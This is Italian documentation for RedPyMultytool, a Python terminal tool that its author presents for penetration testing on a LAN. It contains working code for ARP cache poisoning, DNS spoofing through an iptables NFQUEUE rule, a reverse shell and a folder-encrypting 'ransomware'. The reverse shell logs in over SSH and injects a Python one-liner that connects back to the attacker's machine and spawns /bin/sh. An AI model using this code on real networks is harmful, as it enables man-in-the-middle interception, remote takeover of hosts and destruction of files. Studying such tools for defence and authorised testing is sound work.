DOCUMENTAZIONE RedPyMultytool

- Oggetto:
  - RedPyMultytool è un'applicazione che consente di effettuare attacchi alla rete
    tramite manipolazione di pacchetti o mallware.
    i vari tipi di attacchi implementati sono:

    -ARP Spoofing(ARP cache poisoning)
    -DNS Spoofing (DNS cache poisoning)
    -Ransomware
    -Reverse shell

    git: https://github.com/Archettim/RedPyMultytool

- Scopo:
  - lo scopo principale di quest'applicazione è l'automatizzazione di attacchi e malware, nell'aiuto si eseguire più efficacemente penetration testing verso sistemi interni ad una LAN

- Analisi tecnica:
  IL PROGRAMMA FUNZIONA SOLO SU SISTEMI LINUX, MA PUO' AVERE COME TARGET DI ATTACCO ANCHE SISTEMI WINDOWS O IOS.

  PER LA MAGGIOR PARTE DEGLI INPUT NON SONO STATI FATTI CONTROLLI SUGLI INPUT.

  - l'applicazione è stata sviluppata in ambiente linux (kali linux), sotto un suo virtual environment.
    per far si che l'applicazione funzioni sono necessari queste librerie:
    - Scapy
    - textual
    - fernet
    - netfilterqueue
    - Thread
    - subprocess
    - socket
    - paramiko

oltre a queste librerie ha bisogno dell'installazione di applicazioni di supporto

quali:

-Xterm

- sudo apt-get install build-essential python-dev libnetfilter-queue-dev (supporto per netfilterqueue)

Prima dell'esecuzione del programma è necessario modificare il file /proc/sys/net/ipv4/ip_forward da da 0 a 1, in modo da abilitare il forwarding dei pacchetti (ad ogni avvio del kernel il suo valore ritorna a 0)

come interfacciazione con l'utente è stata usata una TUI (terminal user interface) invece che una GUI in modo che il programma sarà visibile su shell, in modo che sia usabile anche da remoto tramite telnet o ssh.
Per fare cio è stato usato un progetto openSource "Textual" ancora in sviluppo e ancora in una fase "sperimentale".
ref. https://github.com/Textualize/textual

L'APPLICAZIONE DEVE ESSERE ESEGUITO CON SUDO IN MODO DA POTER MODIFICARE I PACCHETTI IN ENTRATE, SE ESEGUITO CON UTENTE NORMALE IL PROGRAMMA NON FUNZIONERA' COME DOVREBBE.

file implementati:

RedPyMultytool.py: gestisce generalmente l'interfacizione tra l'user è il programma prendendo gli input e restituendo output e feedback

```
class Ramsomware(Static):
    ciph=Ramsom()
    inp2=Input(placeholder="PATH",id="pat")
    inp1=Input(placeholder="key Path IP",id="kpat")
    tl=TextLog(highlight=True, markup=True, id="ramKEYLog")
    tl1=TextLog(highlight=True, markup=True, id="ramCryptLog")
    cont=Container(
        Title("Ramsomware",id="ramsTitle",expand=True),
        Static("cryptKey: "),
        inp1,
        Container(
            Button("Generate new key",id="genKEY"),
            Button("Delete key",id="delKEY"),
            Button("Use key",id="useKey"),
            id="keys"
        ),
        tl,
        Static("Folder path to encrypt/decript: "),
        inp2,
        Container(
            Button("Encrypt",id="encr"),
            Button("Decrypt",id="decr"),
            id="Rams"
        ),
        tl1,
        id="ramsomTUI"
    )
    def compose(self) -> ComposeResult:
        yield self.cont

    def on_button_pressed(self,event:Button.Pressed) -> None:
        button_id=event.button.id
        if button_id=="genKEY":
            self.ciph.Key_gen(self.inp1.value,self.tl)
        elif(button_id=="delKEY"):
            self.ciph.deleteKEY(self.inp1.value,self.tl)
        elif(button_id=="useKey"):
            self.ciph.setKey(self.inp1.value,self.tl)
```

esempio di codice per l’implementazione di una classe statica
Textual dà la possibilità di creare dei Widget utilizzandone altri.
in questo case sono stati utilizzati widget per l’inserimento dei dati e bottoni inseriti su un container il quale conterrà all’interno i widget inseriti.
con la funzione def compose() si monta il container con i widget al suo interno sull'applicazione rendendoli visibili.
ogni classe Textual creata ha un event listener in grado di captare se un bottone è stato chiamato, così da poter linkare metodi o funzioni esterne.

app.css: file css a supporto dell’interfaccia grafica siccome textual è ingrado di leggere i file css data che internamente utilizza un DOM su python.

ArpPoisoning.py: gestisce principalmente l'attacco di tipo ARP spoofing, manipolando è inviando pacchetti arp falsi sulla rete.

```
def get_target_mac(ip):
   packet=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has",pdst=ip)
   resp,_=srp(packet,timeout=2,retry=10,verbose=False)
   for _, r in resp:
       return(r[Ether].src)
```

viene mandato un pacchetto ARP in broadcast in modo da scoprire l'indirizzo mac dell'ip fornito, fino a quando non si ha una risposta il pacchetto viene rimandato 10 volte con un timeout di 2 secondi

```
def init__(self,tlog:TextLog,tlog2:TextLog,targip,gateway,interf='en0') :
   self.log1=tlog
   self.log2=tlog2
   self.target=targip
   console=Console()
   tlog.write(console.status("[bold green]Working on tasks..."))
   self.targetMAC=get_target_mac(targip)
   self.gateway=gateway
   self.gatewayMAC=get_target_mac(gateway)
   self.iface=interf
   conf.verb=0
   tlog.write(f'initialized {interf}:')
   tlog.write(f'Gateway ({gateway}) is at {self.gatewayMAC}')
   tlog.write(f'Target is ({targip}) is at {self.targetMAC}')
```

riceve tutti gli input mandati dall'utente inizializzando le variabili e tramite pacchetti arp mandati in broadcast (get_target_mac()), prende l'indirizzo mac dei corrispettivi ip inseriti dall'utente.

```
def poison(self):
   self.loop=True
   console1=Console()
   self.log2.clear()
   self.log2.write(console1.status("[bold green]Working on tasks..."))
   poison_targ=ARP()
   poison_targ.op=2
   poison_targ.psrc=self.gateway
   poison_targ.pdst=self.target
   poison_targ.hwdst=self.targetMAC
   self.log2.write(f'ip src: {poison_targ.psrc}')
   self.log2.write(f'ip dst: {poison_targ.pdst}')
   self.log2.write(f'mac dst: {poison_targ.hwdst}')
   self.log2.write(f'mac src: {poison_targ.hwsrc}')
   self.log2.write(poison_targ.summary())
   poison_gtw=ARP()
   poison_gtw.op=2
   poison_gtw.psrc=self.target
   poison_gtw.pdst=self.gateway
   poison_gtw.hwdst=self.gatewayMAC
   self.log2.write(f'ip src: {poison_gtw.psrc}')
   self.log2.write(f'ip dst: {poison_gtw.pdst}')
   self.log2.write(f'mac dst: {poison_gtw.hwdst}')
   self.log2.write(f'mac_src: {poison_gtw.hwsrc}')
   self.log2.write(poison_gtw.summary())
   self.log2.write('-'*60)
   self.log2.write(f'Beginning the ARP poison.')
   while self.loop:
       self.log2.write(console1.status("[Purple]Working on tasks..."))
       send(poison_targ,verbose=False)
       send(poison_gtw,verbose=False)
       time.sleep(2)
   self.log2.clear()
   self.log2.write("ARP cache restored.")
   self.restore()
```

Inizia il processo di poisoning della cache sia del gateway che del target, inviando pacchetti ARP fasulli con MAC address cambiato, in modo che tutti i pacchetti che arrivano al target prima passino nella nostra interfaccia di rete e se il forwarding è impostato su 1 il pacchetto poi viene reindirizzato al vero host.

```
def restore(self):
    send(ARP(
            op=2,
            psrc=self.gateway,
            hwsrc=self.gatewayMAC,
            pdst=self.target,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5,verbose=False)
    send(ARP(
            op=2,
            psrc=self.target,
            hwsrc=self.targetMAC,
            pdst=self.gateway,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5,verbose=False)
```

Alla fine del poisoning quando il processo viene stoppato dall'utente vengono reimpostate le cache ARP sia del gateway che del target host,con i veri indirizzi mac.

DnsPoisoning.py: gestisce le redirection delle richieste del target host a ip differente, tramite DNS cache poisoning.

PER FAR SI CHE IL DNS POISONING FUNZIONI BISOGNA PRIMA ESSERE MAN IN THE MIDDLE TRA UN HOST E IL GATEWAY, QUINDI BISOGNA PRIMA ATTIVARE L'ARP POISONING.

```
def run(self):
    QUEUE_NUM = 0
    os.system("iptables -I FORWARD -j NFQUEUE --queue-num
{}".format(QUEUE_NUM))
    queue = NetfilterQueue()
    try:
        queue.bind(QUEUE_NUM, self.process_packet)
        queue.run()
    except:
        os.system("iptables --flush")
```

Il metodo run() imposta un'IPtable sul sistema in modo che tutti i pacchetti che dovrebbero essere reindirizzati al target host dovranno prima passare al programma python in una queue grazie al netfilterqueue

```
    def process_packet(self,packet):
        scapy_packet = IP(packet.get_payload())
        if scapy_packet.haslayer(DNSRR):
            self.tl.write("[Before]:", scapy_packet.summary())
            try:
                scapy_packet = self.modify_packet(scapy_packet)
            except IndexError:
                pass
            self.tl.write("[After ]:", scapy_packet.summary())
            packet.set_payload(bytes(scapy_packet))
        packet.accept()
```

Process_packet viene eseguito ogni volta che la queue riceve un nuovo pacchetto.
Process_packet controlla se il pacchetto ricevuto è un pacchetto DNS i no, in caso lo fosse lo manda al metodo modify_packet per modificare il la risposta DNS con un IP falso.

```
    def modify_packet(self,packet):
        qname = packet[DNSQR].qname
        print("[GOT] ",qname)
        if qname not in self.dns_hosts:
            print("packet not modified:", qname)
            return packet
        packet[DNS].an = DNSRR(rrname=qname,
rdata=self.dns_hosts[qname])
        packet[DNS].ancount = 1
        del packet[IP].len
        del packet[IP].chksum
        del packet[UDP].len
        del packet[UDP].chksum
        return packet
```

controlla se l'url o il domain name è contenuto nel dizionario interno, in caso lo fosse modifica il pacchetto cambiandone l'ip e rimodificando l'header del pacchetto in modo che il pacchetto sia ancora valido anche dopo la modifica.
OpenRevShell.py: instaura una connessione di tipo reverse shell tramite un'iniziale connessione ssh (per semplicità) e un server bind TCP

```
def ssh_command(self,ip:str,t:TextLog,user:str,passwd:str,srvP,p):
    """Start and inject a reverse shell"""
    c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    c.connect(("8.8.8.8", 80))
    ipv4=c.getsockname()[0]
    try:
        os.environ["DISPLAY"] =":0.0"
        f=subprocess.check_output(["id -un 1000"],shell=True)
        t.write(f.decode().strip())
        t.write("Connecting to SSH server . . .")
        d=subprocess.Popen([f"sudo -u {f.decode().strip()} xterm -e
python3 RevShListener.py {srvP}"],shell=True)
        client=paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(ip,port=p,username=user,password=passwd)
        t.write("Connecting to Bing server server . . .")
        _,stdout,stderr=client.exec_command(f"python3 -c 'import
socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.conn
ect((\"{ipv4}\",{srvP}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os
.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'")
        t.write("Connected")
        output=stdout.readlines() + stderr.readlines()
        t.write("done")
        if output:
            t.write("---Output---")
            for line in output:
                    t.write(line.strip())
    except:
            t.write("Error: Invalid Data or broken connection")
```

Inizia una connessione SSH con il target host, una volta autenticato inietta una connessione TCP verso il server TCP creato in locale, in modo che la connessione rimanga attiva anche dopo che la connessione ssh viene chiusa.
alla creazione del server viene modificata la variabile d'ambiente $DISPLAY in modo da poter avviare una seconda Shell (Xterm) avente il server TCP in ascolto, il comando viene eseguito dall'utente di sistema con UID==1000, in modo che xterm non venga eseguito come root.

```
def listener(port=4242):
    c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    c.connect(("8.8.8.8", 80))
    ip=c.getsockname()[0]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

```
s.bind((ip, port))
s.listen(1)
print("Listening ip: "+ip+" on port " + str(port))
conn, addr = s.accept()
print('Connection received from ',addr)
while True:
    ans = conn.recv(1024).decode()
    sys.stdout.write(ans)
    command = input()
    command += "\n"
    conn.send(command.encode())
    time.sleep(0.2)
    sys.stdout.write("\033[A" + ans.split("\n")[-1])
```

Server TCP utilizzando i socket in python l'ip è preimpostato all'ip corrente della macchina.
quando viene stabilità la connessione, questa emulerà una shell remota di sistema.

Cipher.py: gestisce la classe Ramsomware crea chiavi per criptare file e decriptarli, per semplicità questo ramsomware non viene iniettato in in host remoti (per ora) , ma viene usato su macchina locale dato un PATH.

```
    def Key_gen(self,name,t:TextLog):
        key=Fernet.generate_key()
        if os.path.exists("keys/"+name+".key"):
            t.write("[$error]WARNING: key file name already exhists, use
another name")
        else:
            with open("keys/"+name+".key","wb") as keyF:keyF.write(key)
            t.write(f"[$sucess]New key generated at {name}.key with
value: {key.decode()}")
```

genera un file contenente una chiave utilizzabile per criptare o decriptare file o folder.

```
    def deleteKEY(self,name,t:TextLog):
        if os.path.exists("keys/"+name+".key"):
            os.remove("keys/"+name+".key")
            t.write("[$Success]KEY succesfuly deleted")
        else:
            t.write("[$error]WARNING: key file name does not exhists")
```

elimina un file contenente una chiave

```
def cryptfolder(self,path):
        for f in os.scandir(path):self.cryptfolder(path+"/"+f.name) if
f.is_dir() else self.__CipherFile__(path+"/"+f.name)

def decryptfolder(self,path):
        for f in os.scandir(path): self.decryptfolder(path+"/"+f.name)
if f.is_dir() else self.__DecipherFile__(path+"/"+f.name)
```

cryptfolder(), crypta una cartella e i suoi file interni ricorsivamente
stessa cosa con decryptfolder()

Indicazioni:

DNS: si possono aggiungere in un dizionario siti da reindirizzare con ip, ad ogni sito bisogna mettere anche un ip.
cliccando su:

ADD: aggiunge sito-ip al dizionario.
show: si visualizzano tutte le redirezioni possibili, inseriti nel dizionario,
remove: viene rimosso il corrispettivo sito-ip

Start: Attiva il processo di dns spoofing, rimanendo in ascolto aspettando pacchetti
STOP: ferma L'ascolto dei pacchetti

ReverseShell:

target ip: IP dell server ssh su cui fare reverse Shell
Ssh port: porta in ascolto del server ssh
user: utente con cui loggare ed avviare il reverse shell
Password: Password dellouser
Server listener bin port: Porta effimera per il server che rimarrà in ascolto aspettando la connessione .

ARP Poisoning:

Target IP: ip del terget
Gateway ip: ip locale del gateway della rete
interface: nome dell'interfaccia di rete in utilizzo (interfaccia della nostra macchina)

Submit: invia i dati alla classe ARPpoison() e cerca gli indirizzi mac dei corrispettivi ip (se ci mette molto tempo significa che non sta trovando nella rete l'host inserito, bisogna aspettare restituirà comunque un indirizzo mac nullo, non crasha)
Stop: ferma il processo di ARP poison e fà in restore delle cache.

Ramsomware:

Cryptokey: nome del file in con qui eseguire le varie operazioni

Generate new: genera un file avente nome uguale all’input inserito nell’ input cryptokey, con una nuova chiave per cryptare generata randomicamente

Delete key: elimina se già esistente il file avente nome uguale all’input inserito nell’ input cryptokey

USE key: seleziona e utilizza la chiave del file avente nome uguale all’input inserito nell’ input cryptokey

Conclusioni:

Il progetto secondo me ora come ora non è ancora considerabile un progetto fatto e finito, ha ancora molti bug e funzionalità che potrebbero decisamente essere migliorate perciò continuerò a migliorarlo e implementare sempre più tipologie di attacchi.

MICHELE ARCHETTI